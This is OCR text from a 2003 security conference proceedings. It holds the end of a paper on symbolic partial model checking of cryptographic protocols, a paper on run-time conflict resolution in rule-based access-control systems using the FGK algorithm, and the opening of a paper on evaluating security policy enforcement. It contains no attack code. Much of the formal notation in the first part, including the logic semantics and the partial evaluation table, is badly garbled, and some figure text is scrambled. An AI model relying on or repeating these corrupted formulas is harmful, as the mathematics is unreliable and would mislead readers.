SEMT iff [M]#0
SkEm K iff X €S X=2A4and[M,méeD(¢)]#0
S ':]u —-F iff not S ':1\{ F

S (M em)F iff 38+ S M8 S and S Earar arrmems F
S (M) F iff 38" 8 M50 S and S Farar arwey F

M.

S):]\/[ <MIIT>F iff HS/:S—)S S/ and Sl ':M,M’,M”F
S):M Vier F; iff 37:6]:5':]\4 F;

The model checking problem for finite processes w.r.t. the SHML formulas is
decidable when some conditions are fulfilled. In particular we say that a model
checking problem S = F is well defined when

— M is closed and monotonic;

— The free variables of S occurs in a term in the left hand side of a constraint
in M;

— For each sub formula (M’ : c!m)F’ of F we have that all the variables in
vars(m’) occurs either in the left hand side of a variable in M’ or there is a
super-term (M", c?x)F s.t. the variable is x.

— We require that each constraint t € D*(T') that occurs in a list of constraints
M’ in the subformula (M’ : o) F" is such that for each constraint t' € D(T")
in F’ we have T C T". Moreover, we require that if a constrain t € D?(T)
occurs in M then for each constraint ¢’ € D(T”) in F we have T C T".

These conditions ensure that the n fc terminates.

Proposition 1. A model checking problem well defined is decidable.
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4 Verification of Security Protocols
through Partial Model Checking

We are mainly interested in the study of security properties like:

Is there an agent (intruder) that, communicating with the agents of the
system S, can retrieve a secret that should only be shared by some agents

of 57

Formally, this can be restated as follows:
Co ’ ’ ’ m
3X¢ s.t. S‘X(p = S |X¢/ and S |X¢/ ):KX (2)

where m is the message which should remain secrefd. However, we are not inter-
ested in every computation C, v of S| X. Indeed, consider the following example
where the system .S consists of the single agent 0y,,,), whose unique secret is m.
Then, due to our semantic modeling of receiving actions (see rule (?7) in Tab. [2),
it is possible for an intruder to obtain any secret messages. For instance, let X
be ¢?z.0, then:
Oy | Xo ™57 0y | 011y

Thus, since the constraint m € Df(z) is consistent, then there may be an in-
stance of X that discovers m after performing the receiving action c?x. This
means that S satisfies property (2)), i.e. it is not secure, which contradicts our
intuition. However, note that the receiving action c?x simply models the po-
tential communication capability of X (and thus of the system S| X) with an
external (omniscient) environment. But, when we fix X, we want to consider
S| Xy as a closed system and study only its internal communications, i.e. the
actual communications between the system S and its “hostile” environment rep-
resented by X. We thus consider a formulation where the context of evaluation
becomes (S| X)\ L and L is the set of channels where S and X can communi-
cate, i.e. Sort(S| X). Note that all the possible computations of (S| Xy) \ L are
actually the internal computations of S| X.

Since, S is finite, we can simply inspect each possible symbolic computation of
(S| X), which are in a finite number for whatever sequential agent X. Moreover,
we may find an integer, say n, s.t. the length of such computations is bounded
by n for whatever X. Thus, we can simply check whether there is an intruder

s.t.:
(S| X)\L v<true CTYVKR

Let F be the formula \/,_, (true : 7)’K'¥. We simply apply a partial model
checking function (see below) and obtain a formula F’ s.t.

(S|X)\LEFiff X = F

3 However, also several authentication properties can be checked only by inspecting
the intruder’s knowledge, e.g., see [6l[7].



132 F. Martinelli

For security analysis, the satisfiability of such a formula F’ is a decidable prob-
lem. (It turns out that the set of constraints is monotonic.) This give us a decid-
able procedure to symbolically check the security of finite systems with almost
generic inference systems.

The partial evaluation functions are given in the Tables [l and

Proposition 2. Given a system S, a list of constraints M, an agent Xy (with
@ finite set of closed messages) and a logical formula F € L then:

S|X¢ ):MFlﬂ' X¢, 'ZM F//S7¢',M- |

For our purposes, it is also useful to consider the context (-) \ L, which consists
only of the restriction. The partial evaluation function for such context w.r.t.
the formulas in £ is given in Tab[6l The next proposition states its correctness.

Proposition 3. Given a set of channels L and a logical formula F € L, we
have that:

(S)\LEFiff S F//\.. n

Table 5. Partial evaluation function for S| X

T//s,pu =T

T A = X and cte(nfc(; M,m € DR (¢))) = true

F A= X and cte(nfc(; M, m € DF(¢))) = false

T A€ S, A= A), and cte(nfc(; M,m € D*(¢"))) = true

F A€ S, A= A), and cte(nfc(; M, m € D*(¢'))) = false

(=F)//s..m = =(F//s5,6,m)

(<MH sm)F)//s,.¢.m = (M”,m € DR(¢) : C!m>(F//S,qb,(lw,lw”,mEDR(qb)))v
\/SMEZ,L/S/ F /516,00 07 mem?)

(M": cta)F)//s,0,m = (M" : ?2)(F//s,6012},m,m77) V \/Szvgzys, F/lst.¢. 00 a7 sey)

(M 7)) 5.0 = N g (M 22)(F 50000, 05007 )
VVSMmeS, (M",y € D(¢) : ) (F /] sr.6,(v,07 077 yeDR(6),z€y))
v Vsz‘—”i{s' F/sr.6,m0 001
VierFi//s,o.m = Vier(Fi//s,6,Mm)

KX //s.e,m =

Proposition 4. Given a system S, a ¢ finite set of closed messages is decidable
whether there exists or not a term Xy (with Sort(S|X) C L) s.t.

(S|Xs)\ L \/ (true: 7)' K% ]

i<n

Basically, by exploiting partial model checking we can reduce our verification
problem to a satisfiability one for a formula which consists only logical constants,
disjunction and possibility formulas, whose list of constraints are monotonic.
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Table 6. Partial evaluation function for (-) \ L

T//\L =T
K3 /o= K3
(=F)//\e =~(F//1)
(M :a)(F//\r) a=clmand c¢ L
(M :a)(F//\) a=c?’vand c ¢ L
(M :a)(F//\s) =7
F otherwise
VierFi//\0 = Vier(Fi//\r)

(M =) F)//\r =

5 Concluding Remarks

In [9IT], the use of contexts (open systems) has been advocated to represent
the security analysis scenario, where the holes denotes the components of the
systems whose behavior we are not able to predict. Then, the usage of partial
model checking to check such systems has been suggested.

Partial model checking is a powerful technique. It has been introduced to
perform efficient model checking; it has been exploited to perform the analy-
sis of security protocols; recently, it has been advocated for the compositional
verification of parametrized systems in [I]]. So, we plan to extend these current
symbolic techniques on partial model checking for security analysis for such an
interesting scenario with unbounded processes.

In this paper, we set up a preliminary framework for symbolic partial model
checking of cryptographic protocols using almost generic inference systems. We
are currently working on optimizations and implementation details. In partic-
ular, we plan to extend the PaMoChSA tool (Partial Model Checking Security
Analyzer) [12] with such symbolic analysis techniques and then check the anal-
ysis differences between the two versions of the tool on the same examples.
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Abstract. Rule-based systems in networking control access for various
resources and usually are statically configured. Dynamic service creation and
preparedness for the unexpected require possibility to update rules at run-time
without loss of performance. This is possible with our event oriented
programmable model, where rule designer does not need to care about obsolete
rules; conflicts between new rules and installed rules are resolved
automatically. Synchronisation between rule designer and current state of
installed rules is based on self-organisation property of FGK algorithm that can
be used without any modificatioins.

1 Introduction

Rule based systems security is getting a high level of attention nowadays. Report
from the NSF workshop “Responding to the Unexpected” summarises this need by
putting the following networking research priority: “Rule-based Systems Security:
Designing security policies and a framework for policy management that will allow
necessary access to systems and data in previously unplanned ways, and by persons
and systems not normally permitted to do so, is a big need” [1].

Rule based systems essentially are performing filtering and are playing ever in-
creasing role in many existing and emerging networking mechanisms: firewalls are
protecting network domains from unwanted traffic; differentiated services classifiers
select flows that need to get contracted treatment; while shapers help to enforce this
treatment; Internet autonomous systems, or domains are regulating traffic exchanges
between them by enforcing transit policies; last but not least security policy systems
as such are rule-based. All these have at least three aspects in common:

1. A rule grants (or denies) access to certain functionality, while a rule itself is not
functionality;

2. Rules are helping network functionality to be performed correctly, where correct-
ness is defined externally (e.g. which traffic is allowed, which packet flows are
supported by service level agreements; what are business agreements between do-
main providers, etc.);
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Policy Handling in Internet Environment
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3. There is a strong need to be able to update rules incrementally at run time without
rebooting or suspending a system.

Based on the above commonalities we distinguish two types of behaviours — the
one of network functionality (functional behaviour), and the one of a rule-set control-
ling access to the functionality (ruling behaviour). The former is of common interest,
while the latter is of interest only to rule-set designers — it should be transparent to a
common and legal user of functionality.

Behaviour of a rule-based system is the one exhibited jointly by functional and rul-
ing behaviours (section 2) and is defined by openly exposed rules rather than by hid-
den state transitions, that makes these systems more flexible, and, at the same time
more vulnerable to potential attacks. Nevertheless, they are attractive for they meet
three core requirements: openness, flexibility, and scalability.

A rule-based system is open because its components have standard conventions for
service syntax and semantics. It is flexible because it is relatively easy to configure a
service out of open components by distributing to them behaviour definitions, i.e. rule
sets defining ruling behaviour for a service under configuration. Finally, a rule-based
system scales because of its potential to evolve — ruling behaviour can be changed
gradually to adapt to new requirements.

Taken altogether the three networking requirements above can be called network
programmability, a feature that lies at the very heart of network provisioning business
- to guarantee optimal policy for each user/application. M. Sloman explains policy as
“a rule that defines a choice in the behaviour of a system” [2]; hence any network
element is composed of element’s policy and element’s mechanism - the two distinct
concerns in their design, management and in security considerations.

In this paper we concentrate on securing the policy part, or the part containing de-
finitive rules of the rule-based system. Based on security policy framework section
two introduces further separation of concerns in a rule-based system that enables rule
base programmability. This opens an opportunity for dynamic service creation; sec-
tion three provides needed framework for creating services by modifying rules in
rule-based systems. Needed building blocks for this — events, monitors and rules
with negative modalities - are discussed in section four. Section five concludes the
generic part by introducing a rule-based system security model. Section six examines
conflict resolutions and rule base self-organisation followed by a conclusion.

2 Separation of Concerns in Rule-Based Systems

Access control issues are traditionally studied within security policy research, where a
Subject (Su) is attempting to get access to certain action (a,) at a target Object (Ob),
i.e. to invoke g, by sending a request

Su 2 request(Su, Ob, a)) = Ob, (1

Within a policy abstraction framework a notion of a policy agent was introduced as
a placeholder for various policies, including authorisation ones. Logically a policy
agent sits between a Subject and an Object; in implementation however it is embed-
ded into their mechanisms. Based on organisational role modelling of security policy
area M. Sloman proposes two types of policies - obligation (O) and authorisation (A),
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both with negative and positive modalities. Note, that obligation policy and the nega-
tive modality of authorisation policy are not within a mainstream of role-based access
control (RBAC) work, for example, proposed NIST standard for RBAC [3] does not
include negative permissions.

We intend to demonstrate that obligation policy is an extremely useful notion for
network programmability. For the rest of the paper we assume the following interpre-
tations of (1) for positive (+) and negative (-) authorisation (A) and obligation (O)
policies:

A+ : Subject’s request for action a, on Ob will be authorised 2)
A - : Subject’s request for action a, on Ob will be denied, 3)
O+: Subject must request action a, on Ob, “)

O- : Subject must refrain from requesting action a, on Ob o)

Table 1 highlights differences between Su and Ob in their relation to a policy.

Table 1.
Entity type Role Configured policy | Discovered policy | Policy pur-
pose
Ob Object Server Authorisation Obligation Safeguard
Su Role Client Obligation Authorisation Behaviour

In a real world a target object (a server) is a tangible entity that may perform a use-
ful work — it is functionality, while a subject (a client) is basically a role, an abstrac-
tion. Policies (A at Ob, and O at Su) have to be configured, that is designed, instanti-
ated and enforced. How this is done? Who does it? Answers to these questions
become important when policy dynamics are concerned. Policies of a counter-part can
be discovered at run-time, that is a subject may discover whether she is authorised to
request certain actions on certain objects. Finally, the very purpose of authorisation
policy is to be a safeguard for actions of a target object; on contrary to that obligation
policies have a very active nature - they basically describe behaviour of a subject as
observed by objects in the object world. From Table 1 it is clear, why obligation poli-
cies have to be based on subject - be embedded into subject’s behaviour, and authori-
sation policies have to be based on object - to serve as embedded protection for ob-
ject’s desired behaviour, i.e. service.

3 Dynamic Behaviour Changes

We would like to be able to change dynamically behaviours of involved objects to
cater for new and tailored network services. The boundary between client and server
is increasingly a blurring one in novel Internet protocols. User application requesting
a connection service from transport and IP modules in its local protocol stack triggers
multiple micro client-server exchanges within the network needed to complete the
connection (examples are address resolution, address translation, configuration, au-
thorisation, etc.), thus making a transaction from any Internet session. The above
example may not necessarily be a convincing one because transaction components are
relatively small, fast and efficiently integrated (embedded) into a protocol stack,
which by the way makes protocol stacks so difficult to modify. Emerging web ser-
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vices will and are already providing much more visible examples of transactional
behaviour, because a service becomes a concern that is clearly separated from under-
lying functionality and thus can be separately defined, designed, implemented, man-
aged and optimised.

In current IP networking these micro-clients and micro-servers are sitting back to
back to play both roles interleavingly, as in Table 1. Hence, a new service will need to
modify behaviours of both involved component types - subjects and objects. In the
above, traditionally understood subject, representing a human, or a role within organ-
isational hierarchy is not directly involved in micro-exchanges but a requestor always
conveys subject’s identity to a requesting entity. Subject’s identity may become
anonymous through aggregation, however methods have been already developed
capable in principle of tracing back to a source any single IP datagram.

In our adopted policy framework (section 2) to change behaviour dynamically
would mean to change O and A policies correspondingly in order to avoid conflicts. A
taxonomy of policy conflicts and static conflict resolution methods are described in
[4]; many policy conflicts can be detected only at run-time due to their dependencies
on object’s state data, enforcement point location, and on already enforced policies,
etc. Introduction of a new network service will require new behaviours from network
components, hence new, or modified policies will be needed. We shall use the term
behaviour definition for a set of policies enabling altogether a new network service.

Extending a policy domain (a concept of grouping together entities with similar
policies) we propose a concept of service domain - a group of subjects and objects
with their matching obligation and authorisation policies pertaining to the same ser-
vice. The following definition of service is adopted from [5]:

Service. A Logical Element that contains the information necessary to represent and
manage the functionality provided by a Device and/or Software Feature. A Service is
a general-purpose object to configure and manage the implementation of functional-
ity. It is not the functionality itself.

We consider a set of obligation policies to map to a service in the above definition,
while target object with its authorisation policies clearly maps to a logical element.
There can be many types of A «» O dynamic, at run-time relations binding service to
functionality, such as one to one, one to many, many to one, multi-tier, etc. Creation
of a new service is to be accompanied by creation of a service domain. Service do-
main is an abstraction to compartment all rules involved in a service and in the ex-
change of all events triggering these rules.

4  Events, Monitors, and the Need for Odd Policies

An event, as previously defined in [6] is
E=<A B C D> (6)

That is an event is a set of post conditions (C) produced by an action A, which did
happen in the network element (box) B, which post-conditions are considered to be
valid during a period D. From a security viewpoint event’s element B bears subject’s
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identity and we call it hereafter Service Invocation ID (SID). Examples of SID are
source IP address, AAA! credential, session ID, etc.

Within the security policy area events are recognised as important trigger of
obligations. Within device configuration policy area events are used as a performance
enhancement during the policy information base lookup process. Within a traditional
representation of a configuration policy (7)

Event 2 IF Condition THEN Action @)

an occurrence of an event is yet another condition, though maybe the one with much
higher update frequency than that of other conditions. Dynamic rule-based systems
change their behaviour at run-time, this breaks traditional boundary between events
and conditions, thus we adopt generic event-only policy provision (8):

IF Events THEN Action (8)

As a consequence of a service domain concept that compartments all service en-
ablers, we introduce a notion of a Monitor - a placeholder for a notification policy.
Notification policy is Monitor’s obligation to notify Su or Ob on occurrence of pre-
defined actions by reporting their post-conditions in a form of events to pre-specified
event channels. Similar to roles that help to abstract behaviours from subjects, event
channels help fo abstract events from actions in (8), thus opening an opportunity for
flexible service creation by enforcing (obligation, authorisation and notification) rules
that would produce needed events, trigger needed actions being properly authorised.

We impose no limitations on either event channels or on their publish and sub-
scribe interfaces. We are interested in what happens before an event is published and
after an entity receives a particular event. In case of obligation a request is an event
that notifies target object on the need to invoke an action specified within subject’s
obligation policy; in the notification case a notification is a report on monitored ac-
tion. This similarity motivates us to protect event subscribers (both subjects and ob-
jects) by event authorisation rules, with the main purpose to filter out (by A- policy)
all unwanted or forbidden events, thus retaining (3) in our framework. The reason to
retain another odd policy - negative obligation (5) - is manifold. First, this might be
needed to revoke subject’s certification in an event driven, i.e. dynamic manner. Sec-
ond, monitors that detect conflicts in rule-based systems may trigger the use of nega-
tive obligation policies as conflict isolation and conflict resolution rules.

Section 6 aims to demonstrate that negative modality of rules is the key to achieve
scalable programmability and self-organisation of rule-based systems.

5 Rule-Based Systems Security Model

Putting the above pieces together we propose the following model (Fig. 1). It uses two
types of authorisation and two types of obligation rules regardless of entity type (sub-
ject or object) The model is a non-layered one, we group similar rules in clusters.

The authorisation starts with event authorisation (EA) cluster with rules:

I AAA — Authentication, Authorization and Accounting, an Internet standard technology for
access control
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EA+ : notified event is subscribed to;
EA- : notified event is not subscribed to;

Another authorisation cluster has behaviour authorisation (BA) rules:

BA+ : subject (identity) is authorised to request action a,;
BA- : subject (identity) is not authorised to request action a;

Obligation cluster has rules for behaviour (BO) and for notification (NO):

BO+ : subject (identity) must request action a,;
BO- : subject (identity) must not request action a,
NO+ : monitor must notify on action a;

NO- : monitor must not notify on action a,;

Service Domain (SD)

(2-1)
(3-D

(2-2)
(3-2)

(4-1)
(5-1
(4-2)
(5-2)

Behaviour Rules Design ‘
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ent ~request (T,a

T

)

SD Component

Event ~
obligation trigger

C;FI?:O+ /.

Event ~
state notification

AT

M |NO+ <

Notification Rules Design ‘

Legend: Su - subject, Ob — target object; M — montor; BO — behaviour obligation;

BA — behaviour authorisation; EA — event authorisation; NO — notification obligation

Fig. 1. Rule-based system security model

In highly dynamic rule-based systems we want to allow new rules to be injected by
rule designers at run time, therefore we need a very fine-grained conflict resolution
mechanisms. Not every rule-based system can be made capable of this, but event
based systems can: events are glueing together all parts of the system (more precisely,
all components of a service domain), and behaviour definition enforces this glue into
operation. In general, eventing makes a denser mesh of entities within a service do-
main thus helping to achieve higher level of self-awareness.
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6  Self-organising Security Policy Handling
6.1 Conflict Resolution

Requirements. Rule-based systems are intended to provide secure access to function-
ality. Frequent updates of rules are not considered traditionally as a requirement,
however as [1] points out it as an important component of a system’s preparedness for
unexpected. To meet this new requirement a new mechanisms of rule base self-
organisation are proposed in this section.

The following are important requirements for these new mechanisms:

1. Injection of new rules is to be possible at run-time without suspending the rule-
base system operation for many systems are providing access to critical mission
functionality;

2. Rule base should self-organise, meaning that there should be no need to remove
obsolete rules; conflicts between new rules and old rules have to be detected and
resolved automatically;

3. Rule base should be self-optimising; meaning that after injection of new rules the
system should continue efficient operation because access decisions in many sys-
tems should be made at wire speed.

The first step to handle large rule bases efficiently is to keep in a rule base one rule
for a range of SIDs (e.g. for a range of IP addresses) that is natural for networking.

Identities in Rules. For any rule type a particular SID (or a SID range) may be con-
tained in rule conditions, or in rule action (Table 2).

Table 2.
Rule type SID semantics in
Condition (Cy) + Action (Ay,)
EA Event is produced by SID Admit event if originated by SID
BA Action is requested by SID Allow invocation for SID
BO Obligation triggered by SID Send action request from SID
BN Action performed on SID’s request SID is to be notified on Action

We assume that all SIDs can be mapped to a linear range of IP addresses having
common prefix of variable length; this range is a contiguous set of 32 bit or 128 bit IP
addresses. The range of all possible and legal SID values is denoted rg(R,).

Example. To understand various semantic options of SIDs consider for example a
session initiation message arriving at signalling proxy from user Alice (EA rule is
triggered and C, is Alice); the message will be admitted if Alice is a legal® user (A,
is Alice’s address). Let the message be an invitation for a session with user Bob (BA
rule is triggered, action is invitation forwarding and C is Alice’s address). If Alice is
authorised to call Bob then invitation is forwarded (A, is Bob). Let us also imagine
that Alice wanted all her talks with Bob to be recorded, for that purpose Alice did
install at signalling proxy a call processing rule that must invite a voice recording

2 We assume that signaling proxy may have certain filtering for disallowed or non-existent
(Martian) addresses
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service to participate in any session with Bob if originated by Alice (BO rule is trig-
gered, action is session recording and C is Alice’s address), then yet another invita-
tion is sent to a voice recorder to join the session between Alice and Bob (A, is Al-
ice’s and Bob’s voice media addresses). We think that Bob might be concerned about
possible recordings of his sessions, thus let’s assume that he also established at voice
recorder a call-processing rule that must notify him on any recording of a media
stream originated at his address (BN rule is triggered, action is notify on recording,
C,,, is Bob’s voice media address). Thus, when voice session with Alice starts Bob
receives a notification of recording, for example on his instant messenger (A, is
Bob’s notification address).

Self-similarity of Rule Bases. The rule-based system implementation in accordance
with our model (Fig.1) will have in general thee bases of rules (rule-sets): event au-
thorisation rules, behaviour rules, and notification rules. Without loss of generality we
assume that all three bases are installed over the same range of SID values denoted
rg(R,). All three rule-bases are then self-similar in a sense that there can be no de-
pendencies between rule bases with regard to access rights for the same SID in differ-
ent rule bases. For example, EA rules may deny events within certain sub-ranges of
rg(R,), however admitted events sourced by allowed SIDs may carry denied SID val-
ues in their payloads. Thus, event authorisation rules may shrink the R, but it is ex-
panded again for behaviour and notification rules.

Installed Rules. It is important to stress that installed rule set in our approach differs
from original rules i.e. from default R and from rules injected later. A rule set is ini-
tialised with a default policy R, —a rule that applies to the whole range rg(R,) starting
with SID, and ending at SID,. Any newly injected rule R, with rg(R)=[SID,, SID, ]
and with mod(R )#mod(R,) is in conflict with R,. In our model positive and negative
modalities are equally strong (see discussion in section 4), thus a conflict should be
resolved based on additional information. If conflict resolution results in
mod(R,)>mod(R,) (modality of R, is stronger than that of R)) then this produces in the
rg(R,) two, if SID = SID,, or SID,= SID,,, or three, otherwise intervals with modalities
either inherited from a default policy or from a new rule. Modalities together with
these intervals are called installed rules and are denoted . Obviously modalities of
any two neighbouring intervals in installed rule set always differ.

Conflict Resolution Rules. In the following text we concentrate on a single rule base
cluster. Cluster contains installed rules of a single type (2-1) through (5-2), each rule
instance may have one of the two modalities — positive or negative. A rule instance
is defined for a SID range, thus a rule instance within a cluster can be unambiguously
specified by its modality mod(I) and its range rg(I). Injecting a new rule in a rule-set
may cause conflicts with installed rule-set.

We distinguish the following five relations of a new rule (R) range and any in-
stalled rule (/) range (see also Fig.2.a):

1. Disjoint ranges: there is not a single SID value from rg(R,) that also belongs to
rg(l); relation rg(R)|Irg( [) is symmetric and non-transitive;

2. Nested ranges: all SID values from rg(R,) are within rg(l); relation rg(R)<rg(l) is
asymmetric and transitive;

3. Inverted nested ranges: all SID values from rg(l) are within rg(R); relation
rg(R)>rg(I) is asymmetric and transitive;
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4. Overlapping ranges: rg(R,) and rg(l,) have some SID values in common; relation
rg(R)/rg(I) is symmetric and non-transitive;

5. Equal ranges: all SID values from rg(R,) are within rg(/,) and vice versa; relation
rg(R)=rg(I) is symmetric and transitive.

We require that relations 2, 3, 4, and 5 are orthogonal; meaning that if a new rule
and an installed rule are not in relation 1 then they are in exactly one of remaining
relations.

Correspondingly to the above five relations we define the following five predicates
- P(R,I), P( R,1), P(R,I), P(R,I), P(R,I)— to be TRUE if mod(R )#mod(I).
Three categories of possible conflicts are reflected in (6-1) through (6-3).

General conflict: P (R,I)=FALSE (6-1)
Light conflict: {P (R,1) U P_(R,1)}=TRUE (6-2)
Severe conflict: {P (R,1) U P(R,I)=TRUE (6-3)
SID, SID,, Rule-base FGK tree after R,:
) , SID
R " values O O
1
o ® ©® @
I I Y
—® @) 3 O
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(a) Examples of relations between new and installed rules ————————————————/

Fig. 2. Conflict resolution and self-organisation in a rule base

If P_(R,I) holds then a new rule R, is called a pinhole in an installed rule /, that is
called a target. In order to enable most natural resolution of light conflicts we suggest,
after reasoning found in [4] the following conflict resolution rules (CRR):

o CRRI:If P<(R,.,Ij) holds then mod(R,)>mod(1), i.e. pinhole wins over a target; R, is

installed by splitting rg(1,) into two or three sub-intervals with modalities inherited
from R, and [
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e CRR2: If P_(R,I) holds then mod(R )>mod(l), i.e. new rule wins over installed rule
only if their ranges are equal; R, is installed as mod(R,) over rg(1).

CRR2 can be re-phrased as “fresher rule wins over the same range”. Note that for
auditing purposes it is easy to reverse engineer the installed rule set state at any mo-
ment of time with the convention expressed by CRR1 and CRR2 and with logging of
all newly injected rules.

Resolution of Severe Conflicts. If P_(R,/,) holds then conflict resolution is not possi-
ble. As a consequence of orthogonal relations 2, 3, 4, and 5 we can state that there are
always exactly two installed rules /, and, say, [, that are in overlapping relation to R,
and neither of them is in inverted nesting relation to R. However, if installed rule I is
inversely nesting with R, then it is not possible to conclude in general how many more
installed rules are inversely nesting or overlapping with R, Impossibility of severe
conflict resolution of this type will not affect the rule-base system performance since
P_(R,I) will be evaluated off-line (see section 7.2)

If P(R,I) holds then a new rule is not a pinhole and CRR1 and CRR2 are not di-
rectly applicable. However, we can still benefit from conflict resolution rules using
the following simple overlapping conflict resolution (OCR) algorithm:

1. Define installed target rule for R; this will be one of the two adjacent installed
rules /; and, say, I, with modality opposite to that of R.

2. Split Confhctmg R into two sub-rules R", and R", at a boundary with a target in-
stalled rule;

3. Apply CRR1 or CRR2 to resolve conflict between a target installed rule and R", or
RR

Effectively this algorithm expands the interval of the non-target installed rule by
the sub-range of the R, that is overlapping with the installed target rule (Fig.2.b).

i

Statement. OCR algorithm does not violate CRR1 and CRR2 with regard to any of
original rules.

Discussion. The statement means that despite the fact that all original rules injected
into a rule base ‘disappeared’ in installed rules, and despite the presence of severe
conflict the algorithm works as if applied to resolve conflicts between a new rule and
all successfully injected original rules. Let P(R,I) hold, and let /,, be another, non-
target overlap with new rule R. Modality of target rule is either inherited from default
policy R,, or resulted from a light or from a severe conflict resolution. Let R", be the
part of R that has SID values in common with 7, then R’ is a pinhole left or right
adjusted to the target rule boundary If mod(I) is 'inherited from R, then R", is a pin-
hole in R, and the statement is correct. If mod(l ) results from a l1ght conflict resolu-
tion, i.e. I was orlgmated from a properly nested pinhole then, as follows from rules
orthogonahty rg(R") < rg(l. ') that also satisfies the statement. Finally, if mod(1) results
from severe conflict resolution the statement is also correct because the above consid-
erations can be applied recursively (initial step is in Fig. 2.b).. Thus our second re-
quirement is satisfied: there is no need to keep track of all original (and maybe obso-
lete) rules if CRR1, CRR2 , and OCR are deployed.
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6.2 Self-organisation

When rules can be injected into a rule base system at relatively high rate it is impor-
tant to optimise the rule base operation. An obvious first step would be to prioritise
rules in rule base storage area based their usage frequency. A heap data structure has
proved to be an efficient storage requiring only O(logN) operations for any update.
However heap management (rule usage frequency count and subsequent heap reorder-
ing) would make an overhead. Our choice is adaptive Huffman encoding [7] that
exploits self-organisation.

Adaptive Huffman encoding and its implementation known as FGK algorithm are
intended at self-synchronised lossless compression utilising statistical properties of
message ensemble without prior knowledge of the dictionary. The dictionary is built
on the fly by both encoder and decoder by observing the message flow and deploying
the same algorithm that is based on the sibling property of its binary tree. The algo-
rithm is dynamically modifying binary trees (coding tables, or dictionaries) of both
encoder and decoder so that sibling property holds any moment in time and, thus all
branches of the coding tree have a unique prefix property at any time.

We now demonstrate how natural it is to apply this approach to self-organisation of
a rule-base. An FGK tree maintains for each node a node number (specific value that
helps to keep the sibling property), and the frequency count; leaves of the tree are
representing letters of the alphabet so that a path from tree’s root is a Huffman code
of a letter. The higher the frequency of a letter occurrence, the smaller is the letter’s
code. For our purposes we simply consider ranges of all installed rules to be letters of
some alphabet, then any user request conveying SID belonging to an installed rule
range covering the SID in request will increase this rule’s frequency count. There is
however a difference — our alphabet is constantly changing because new rules are
being injected, thus causing change of intervals covered by installed rules. We do not
propose to change the FGK algorithm however to use differently.

A rule designer first queries a rule base to get the current FGK tree, and then up-
dates the tree as if a new rule has already been installed. In this process an entity uses
conflict resolution rules and OCR algorithm, if needed. To retain at least the same
efficiency as with original tree, the entity needs to assign to all new intervals non-zero
frequency counts somehow corresponding to frequencies that these new ranges did
already have being aggregated into existing installed rule set. Assume the same boot-
strapping example as above — we inject new rule R, after rule R, did already make a
pinhole in default policy R, that resulted in three intervals I, I, I,. Let f{1,), f(L,), f(l,)
be respectively frequency counts at the moment z, when rule designer queries for the
tree.

If R, is properly nested in a target rule it effectively creates two or three intervals in
place of the range of target installed rule. If R, overlaps a target it changes boundaries
between installed rules. In the first case it is natural to assign to all new sub-ranges of
the target rule (regardless of their modalities) the frequency count of the target inter-
val. In the second case, the reduced range of the target rule that retains the target
rule’s modality should retain the frequency count of the target rule, while the ex-
panded range of a rule adjacent to the target one should be assigned a weighted aver-
age frequency count (Fig.2.c). These frequency assignments will not disrupt signifi-
cantly the performance of a rule base; in actual usage these initial frequency counts
will be updated automatically. A rule designer can now inject a new rule by suggest-
ing a rule-base to re-write the complete rule-base with the one computed by FGK with
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the new rule as if being installed. The new rule-base will have clear marking of parts
that did not change, so that the re-write will have only a slight impact on the overall
performance — around sub-ranges with modified modalities.

7  Conclusion

Rule-based systems control access to critical mission resources. Traditional handling
of rule bases involves cumbersome manual configuration that prevents both dynamic
creation of new services and quick response to the unexpected. We argue that more
general approach is needed to combine access control and behaviour definition rules
within a single framework; if based on event-action paradigm it enables very fine-
grained and secure network programmability. Programmable rule-based system im-
plementation has to be highly efficient even in presence of changes in rule bases at
run-time, when rebooting or suspending of system operation is impossible. However,
any new rule being injected into running system may cause conflicts with already
installed rules. We propose an approach of automatic conflict resolution based on
conflict resolution rules.

To achieve high performance rules are organised based on their usage frequency.
Even if conflicts are detected and resolved, a new rule will degrade performance if a
rule designer is not synchronised with the current state of a rule base. We demonstrate
that innovative use of FGK algorithm can solve this issue, so that new rules are in-
jected into a rule base in way that is natural for its current state.
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Abstract. The paper discusses approach for testing security policies enforce-
ment and weakness and enterprises it’s implementation for keeping assurance in
system protection. Using such techniques it is possible to examine the protec-
tions of thousands of security-related objects on a multi-user system and iden-
tify security drawbacks. By acting on this information, security officer or sys-
tem administrator can significantly reduce their system security exposure. The
document examines theoretical foundations for design the safety evaluation
toolkit. Finally, paper describes a functional structure of the integrated evalua-
tion workshop based on the security analyzing kernel.

Keywords: access control, logic, language, resolution, safety problem resolv-
ing, secure state, security evaluation, security model.

Introduction

A fall down occurs in suitably secure commercial operating systems, applications, and
network components, especially with respect to security. Commercial offerings have
serious security vulnerabilities. Most existing systems lack adequately secure inter-
connectability and interoperability. Each vendor has taken its own approach, rela-
tively independent of the others. The revealing of all this vulnerable features com-
prises the goal of security evaluation process. There is very little understanding as to
how security can be attained by integrating a collection of components, and even less
understanding as to what assurance that security might provide.

Vendors are discouraged from offering secure systems because significant time and
effort are required to develop a system capable of meeting the evaluation criteria and
to marshal it through the evaluation process. Moreover, because of evaluation delays,
an evaluated product is typically no longer the current version of the system, which
necessitates repeated reevaluation. For high assurance systems, the difficulties of
using formal methods add further complexity to both development and evaluation.

Assurance that a system behavior will not result in the unauthorized access is fun-
damental to ensuring that the enforcing of the security policy will guarantee a system
security.

The paper discusses an outgoing approach to evaluation of the security policy en-
forcement and related tools implementation.

Related Work

Most of the other work on security resolving relates to safety evaluation. Formal ap-
proaches are not intuitive and do not easily map onto implementation. The ASL [1] is

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 147-156, 2003.
© Springer-Verlag Berlin Heidelberg 2003



148  P.D.Zegzhda, D.P. Zegzhda, and M.O. Kalinin

an example technique based on the formal logic language for security specification.
Although it provides support for role-based access control, the language does not
scale well to real systems because there is no way of modeling real access control
rules. There is no specification of delegation and no way of modeling the rules for
groups of identities.

LaSCO [2] is a graphical approach for evaluating the security constraints on ob-
jects, in which the policy consists of two parts: domain (the system abstraction) and
the requirements (authorization rules). The scope of this approach is good for demon-
stration, but far from implementation.

Ponder [3] language is a specification language with object-oriented basis. It is the
closest to the safety evaluation purposes. It has JAVA implementation, but it is not
prepared for automated evaluation. The Ponder-based system does not support the
state modification and state transition.

However, to our knowledge, the general problem of the evaluation of the security
policy enforcement including weakness detection has never been addressed by any
author.

A General Security Model

Over the years several security models have been proposed in the literature. The main
goal of a security model is the definition of the security relationship between system
agents (subjects) which can perform some actions on some passive components (ob-
jects).

